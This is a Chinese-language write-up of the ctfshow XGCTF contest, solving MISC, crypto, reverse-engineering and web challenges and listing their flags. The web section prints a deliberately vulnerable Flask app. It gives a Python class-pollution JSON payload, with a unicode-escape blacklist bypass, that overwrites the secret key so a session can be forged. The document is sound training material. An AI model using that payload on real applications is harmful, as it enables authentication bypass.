ctfshow 西瓜杯CTF XGCTF Writeup

XGCTF_西瓜杯

题目地址:https://ctf.show/challenges

MISC

SignIn

题目:

Encode_PNG

解题:

使用 Tokeii0 大佬的 地表最强解码器 LoveLy-QRCode-Scanner 解码 得到 3段 flag

ctfshow{Ai_Art_QRc0de_iS_Amz1}

符文之语

题目:

Amn El Ith Tir Sol Ber Ist Sol Sur.

解题

打开链接 是一个视频

开始 被 Amn El Ith Tir Sol Ber Ist Sol Sur. 干扰 研究了好久 暗黑2 游戏

后面 搜索二维码种类 发现 有一种 Aztec Code 码和这个相似

继续搜索 Aztec 相关信息 Wikipedia-Aztec Code 中发现 Aztec 有一个特殊的类型 11x11 的 符文

继续了解 Aztec Code Rune 发现是 一种只能存储 0-255 数字的二维码

通过以上信息 判断需要解密 要先解 符文码(Rune) 没找到相关的解码器,但是找到了生成方法 BarTender Designer 可以 生成 0-255 所有的码进行 对照解密

BarTender Designer 大致步骤

新建barTender文档->空白模板->选择PDF打印机->指定自定义设置->纸张大小A1->方框形状->边距0 0 0 0->行数18列数15

条码->更多条码->Aztec Rune->添加二维码调整位置大小

数据库->文本文件-选择0-255一个一行的txt文件->下一步至完成

二维码码双击->数据源->类型->数据库字段->字段1->完成

打印预览->打印成pdf

将 pdf 转为图片 用python读取每一个码的特征 这里我用到了 Adobe Illustrator 处理矢量pdf到高清 图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import os
import cv2

image = cv2.imread('code.jpg')

def get_color(image, x, y):
# 获取块颜色 转为 01 特征
if x >= image.shape[1]:
x = image.shape[1] - 5 #防止 计算到最后一个位置超出图片大小报错
if y >= image.shape[0]:
y = image.shape[0] - 5
return 1 if sum(image[y, x]) < 255 else 0

def cover_data(data):
# 取四周的块的颜色
tmp = data[0]
for i in range(1, 10):
tmp.append(data[i][0])
tmp.append(data[i][-1])
tmp += data[-1]
return ''.join(map(str, tmp))

def get_code_color(image, block_size, offset_x, offset_y):
# 获取 整个二维码的特征
data = []
for i in range(11):
x = offset_x + block_size * i
row = []
for j in range(11):
y = offset_y + block_size * j
row.append(get_color(image, y, x))
data.append(row)
return cover_data(data)

def get_all_code():
# 获取整个 图片中所有的 二维码 特征
data = {}
num = 0
for j in range(18):
for i in range(15):
x = 2 + 549 * j
y = 2 + 466 * i
d = get_code_color(image, 42, x, y)
# print(x, y, num, d)
data[d] = num
num += 1
return data

template = get_all_code() # 特征字典

提取二维码四周的点的颜色 转为01字符串并构建字典 用于 查询特征对应的数值

然后 下载视频 将视频 的二维码都提取出来 进行匹配

使用 ffmpeg 进行 逐帧导图

1
ffmpeg -i ..\file.mp4 -vf "select='not(mod(n\,1))'" -vsync vfr %04d.png

再提取 每张 二维码 的 特征 进行对比 获取数值 将数值 转为 字符打印

1
2
3
4
5
6
def get_vide_code():
for i in os.listdir(r"E:\Desktop\vcode"):
image = cv2.imread(r"E:\Desktop\vcode\{}".format(i))
d = get_code_color(image, 60, 5, 5)
num = template[d]
print(chr(num), end='')

发现很多乱码 但是 存在 PK 还有 flag.txt 字符 判断是压缩包的 二进制数据

将数值打印成 2 位16 进制 粘贴进 010 Editor 保存为 ZIP 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def get_vide_code():
for i in os.listdir(r"E:\Desktop\vcode2"):
image = cv2.imread(r"E:\Desktop\vcode2\{}".format(i))
d = ''
try:
d = get_code_color(image, 60, 5, 5)
num = template[d]
# print(chr(num),end='')
# print(i,d, num)
# print(chr(num),end='')
print(hex(num)[2:].zfill(2),end='')
except:
# pass
print(i, d, "error")

解压 压缩包 在一堆 乱码中发现了 flag

此题是动态 flag

你是我的眼

题目:

通过审计代码+眼力获flag

重要提示

flag 区分大小写,包括包裹字符

解题:

解压下载的 jar 用 IDEA 打开 Main.class

flag 在线解码

CTFShow{TEST_BASE64_BIANMA}

二维码拼图

题目:

解题:

PhotoShop 通道抠图 拼接 有一块拼不上 不影响解码

ctfshow{de4663c8-dce4-40ba-b0b7-b07d8890d949}

CRYPTO

奇怪的条形码

解题:

PhotoShop 变形修改图片高度 base64 解密 注意有两个字符是p

ctfshow{xigubei_misc_gram_here_flag}

简单密码

题目:

1
647669776d757e83817372816e707479707c888789757c92788d84838b878d9d

解题:

hex 解码后 分析前几个字符 刚好 减去 位数 就是ctfshow

1
2
3
4
a = [0x64, 0x76, 0x69, 0x77, 0x6d, 0x75, 0x7e, 0x83, 0x81, 0x73, 0x72, 0x81, 0x6e, 0x70, 0x74, 0x79, 0x70, 0x7c, 0x88, 0x87, 0x89, 0x75, 0x7c, 0x92, 0x78, 0x8d, 0x84, 0x83, 0x8b, 0x87, 0x8d, 0x9d]
for i in range(len(a)):
print(chr(a[i] - (i + 1)), end='')
#ctfshow{xiguabei_just_ez_signin}

ctfshow{xiguabei_just_ez_signin}

混合密码体系

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 库
from Crypto.Util.number import bytes_to_long,getPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

# 对称加密
flag = b'ctfshow{***}' # 密文,隐藏
key = b'flag{***}' # 会话密钥,隐藏
iv = b'flag{1fake_flag}' # AES偏移向量,已知
# 对明文进行填充,使其长度符合AES加密的要求
padded_plaintext = pad(flag, AES.block_size)

# 创建AES加密对象
cipher = AES.new(key, AES.MODE_CBC, iv)

# 加密
ciphertext = cipher.encrypt(padded_plaintext)

# 加密后的文本通常是字节串,转成整数便于进行会话密钥的RSA加密
c1 = bytes_to_long(ciphertext)

print(f'c1 = {c1}')

# 非对称加密
m = bytes_to_long(key)
e = 0x10001
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m,e,n)
print(f'p = {p}')
print(f'q = {q}')
print(f'n = {n}')
print(f'c2 = {c}')
# print("hint:key需要转成字节流也就是b''")

'''
c1 = 10274623386006297478525964130173470046355982953419353351509177330015001060887455252482567718546651504491658563014875
p = 126682770761631193509957156425049279522830651950325320826580754739365086374362604934854454428815835196844469535588686149210573266628767888593088817059600076401582225549728184309047483547810100015820325082976781284679340880386138390518973395696206374336712856387090369022746536868747455939074262253452873845903
q = 99825079362327808334563489684167271427241139432727401182808888165552821217781929397837262324242177528386988701584385208395369790542025175917752058047649096340776854252623173162664426065810683048016574420043010318337693586527652970534982946701493024718805916479479658257730226388868060010370893747360166996939
n = 12646117645119414744807511144503229609414192869007113075368323921021672404219693075011763838210400633721060798765473421092201704833591315689681668160927426685183273670665030724394172000165517517884654100267567861284096827407481978978840602383267875832034344793848710383473014512122260278131503985961857107838296047172582364612603344429943715046318283653354068887129071531081918798285138812386418361474496678248683513378861801570673376726388110813411011818940310547686977359605296489433805717348250520973842927175837164120905300831792358190183785344002217291207378744610039145999012939983693891188308725179098958690917
c2 = 5211902378262010726785508340196935051860438587769647187076059600864676774592415052428465708887047312982844957691943180258845015420187239772414768121857728821510440178906193308448250067671679439841031484589864038401572589752057423667532898133171822921282769652197139455317095891357335645435094243006629469245881345449943250189771998449015275390517315432969774421721243965028796050948747282387052634211032729131656214346307483397410725129682422969273915759947596313513270946529649661334582775282060624547405060499311618257517792321792697831000977711752728887999320311631022598717946355057272761740061999974856808147244
'''

解题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
c1 = 10274623386006297478525964130173470046355982953419353351509177330015001060887455252482567718546651504491658563014875
p = 126682770761631193509957156425049279522830651950325320826580754739365086374362604934854454428815835196844469535588686149210573266628767888593088817059600076401582225549728184309047483547810100015820325082976781284679340880386138390518973395696206374336712856387090369022746536868747455939074262253452873845903
q = 99825079362327808334563489684167271427241139432727401182808888165552821217781929397837262324242177528386988701584385208395369790542025175917752058047649096340776854252623173162664426065810683048016574420043010318337693586527652970534982946701493024718805916479479658257730226388868060010370893747360166996939
n = 12646117645119414744807511144503229609414192869007113075368323921021672404219693075011763838210400633721060798765473421092201704833591315689681668160927426685183273670665030724394172000165517517884654100267567861284096827407481978978840602383267875832034344793848710383473014512122260278131503985961857107838296047172582364612603344429943715046318283653354068887129071531081918798285138812386418361474496678248683513378861801570673376726388110813411011818940310547686977359605296489433805717348250520973842927175837164120905300831792358190183785344002217291207378744610039145999012939983693891188308725179098958690917
c2 = 5211902378262010726785508340196935051860438587769647187076059600864676774592415052428465708887047312982844957691943180258845015420187239772414768121857728821510440178906193308448250067671679439841031484589864038401572589752057423667532898133171822921282769652197139455317095891357335645435094243006629469245881345449943250189771998449015275390517315432969774421721243965028796050948747282387052634211032729131656214346307483397410725129682422969273915759947596313513270946529649661334582775282060624547405060499311618257517792321792697831000977711752728887999320311631022598717946355057272761740061999974856808147244
phi = (p-1)*(q-1)
d = gmpy2.invert(0x10001,phi)
m = pow(c2,d,n)
key = long_to_bytes(m)

iv = b'flag{1fake_flag}'
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(long_to_bytes(c1))
print(plaintext)
#b'ctfshow{Hybrid_password_system_is_chaos}\x08\x08\x08\x08\x08\x08\x08\x08'

ctfshow{Hybrid_password_system_is_chaos}

factor

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from Crypto.Util.number import *
import gmpy2
import os
from enc import flag

hint = os.urandom(36)
tmp = bytes_to_long(hint)
m = bytes_to_long(flag)
p = getPrime(512)
q = getPrime(512)
d = getPrime(400)
phi = (p-1)*(q-1)
e = gmpy2.invert(d,phi)
n = p*q
c = pow(m,e,n)
leak1 = p^tmp
leak2 = q^tmp
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
print(f"leak1 = {leak1}")
print(f"leak2 = {leak2}")
'''
n = 145462084881728813723574366340552281785604069047381248513937024180816353963950721541845665931261230969450819680771925091152670386983240444354412170994932196142227905635227116456476835756039585419001941477905953429642459464112871080459522266599791339252614674500304621383776590313803782107531212756620796159703
e = 10463348796391625387419351013660920157452350067191419373870543363741187885528042168135531161031114295856009050029737547684735896660393845515549071092389128688718675573348847489182651631515852744312955427364280891600765444324519789452014742590962030936762237037273839906251320666705879080373711858513235704113
c = 60700608730139668338977678601901211800978306010063875269252006068222163102100346920465298044880066999492746508990629867396189713753873657197546664480233269806308415874191048149900822050054539774370134460339681949131037133783273410066318511508768512778132786573893529705068680583697574367357381635982316477364
leak1 = 13342820281239625174817085182586822673810894195223942279061039858850534510679297962596800315875604798047264337469828123370586584840078728059729121435462780
leak2 = 10901899434728393473569359914062349292412269512201554924835672710780580634465799069211035290729536290605761024818770843901501694556825737462457471235151530
'''

解题:

factordb 查询到 分解数

使用分解的 数 求解

1
2
3
4
5
6
7
8
9
10
e = 10463348796391625387419351013660920157452350067191419373870543363741187885528042168135531161031114295856009050029737547684735896660393845515549071092389128688718675573348847489182651631515852744312955427364280891600765444324519789452014742590962030936762237037273839906251320666705879080373711858513235704113
p = 10901899434728393473569359914062349292412269512201554924835672710780357314223209262466102457697460432424101968655028724203256351586952677194451591494555863
q = 13342820281239625174817085182586822673810894195223942279061039858850820238924757629478502588722905946742147654397240559596444430114180174785691409037959681
c = 60700608730139668338977678601901211800978306010063875269252006068222163102100346920465298044880066999492746508990629867396189713753873657197546664480233269806308415874191048149900822050054539774370134460339681949131037133783273410066318511508768512778132786573893529705068680583697574367357381635982316477364
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
n = p * q
m = pow(c, d, n)
print(long_to_bytes(m))
#b'cftshow{do_you_know_what_is_xor_and_prune!!!}'

cftshow{do_you_know_what_is_xor_and_prune!!!}

RE

pe

ida 打开 F5 出flag

CTFShow{i95f5417b37c5e8019372de8737fI}

一个西瓜切两半你一半我一半

在线 pyc 反编译

用文本的 秘钥和 密文 求解

1
2
3
4
5
6
7
8
9
10
11
12
m = '乃乾觅甯剏乳厡侻丨厏扝乌博丿乜规甲剌乶厝侥丿卻扚丠厘丿乎覟瓬剤'
key = '一个西瓜切两半你一半我一半'
tmp = ''
for i in m:
tmp += chr(ord(i) + 32)

dec = ''
for i in range(len(tmp)):
dec += chr(ord(tmp[i]) - ord(key[i % len(key)]))

print(dec)
# ctfshow{Hell0_Reverse_Qi@n_D@0}

ctfshow{Hell0_Reverse_Qi@n_D@0}

探索进制的奥秘

ida 打开 发现一串 16进制字符串 在线解密

CTFShow{Thank_CTFSHOW_Sky}

E

运行 提示 有两种思路 猜测是 静态分析 和动态调试

使用OD打开易语言程序 F8 运行到 输入 在 汇编窗口 call 指令出下断点 随便输入内容 回车 在EBX寄存器出现 flag

CTFSHOW{JIAMI_SHOW_YAN}

web

CodeInject

直接执行命令 查找文件

读取 flag

ctfshow{15070ac9-2e07-48fe-a36b-f89e54db3a1c}

easy_polluted

题目

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
random_string = os.urandom(16)
md5_hash = hashlib.md5(random_string)

return md5_hash.hexdigest()
def filter(user_input):
blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
for pattern in blacklisted_patterns:
if re.search(pattern, user_input, re.IGNORECASE):
return True
return False
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
def __init__(self):
pass

@app.route('/',methods=['POST'])
def index():
username = request.form.get('username')
password = request.form.get('password')
session["username"] = username
session["password"] = password
Evil = evil()
if request.data:
if filter(str(request.data)):
return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
else:
merge(json.loads(request.data), Evil)
return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
username = session.get("username", None)
password = session.get("password", None)
if username and password:
if username == "adminer" and password == app.secret_key:
return render_template("flag.html", flag=open("/flag", "rt").read())
else:
return "Unauthorized"
else:
return f'Hello, This is the POLLUTED page.'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

flag.html

1
2
3
4
5
6
7
8
9
10
11
12

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
<body>
这又是什么jinja语法啊!
[#flag#]
</body>
</html>

解题:

分析源代码 存在 原型链污染 参考1 参考2 需要绕过 黑名单 来修改 secret_key 和 jinja2 模版语法 为 [# #] 除了修改变量 还要发送 from-data 将用户名和密码设置到session 在伪造jwt获取flag

secret_key 的路径为 __init__._globals_.app.secret_key

模版语法 的路径为 __init__._globals_.app.jinja_env.variable_start_string 和 variable_end_string

正常payload

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"__init__": {
"__globals__": {
"app": {
"secret_key": "adminer",
"jinja_env": {
"variable_start_string": "[#",
"variable_end_string": "#]"
}
}
}
}
}

unioncode 绕过 黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F": {
"\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F": {
"\u0061\u0070\u0070": {
"\u0073\u0065\u0063\u0072\u0065\u0074\u005F\u006B\u0065\u0079": "adminer",
"jinja\u005F\u0065\u006E\u0076": {
"variable\u005Fstart\u005F\u0073\u0074\u0072\u0069\u006E\u0067": "[#",
"variable\u005Fend\u005F\u0073\u0074\u0072\u0069\u006E\u0067": "#]"
}
}
}
}
}

污染变量

设置 session

伪造 jwt

获取flag (如果在修改模版语法前请求了/admin, 因为模板已经渲染了 无发显示flag 重启环境 先污染再请求/admin)

ctfshow{a71127f2-25ed-47ca-82fa-10e805a6b2b2}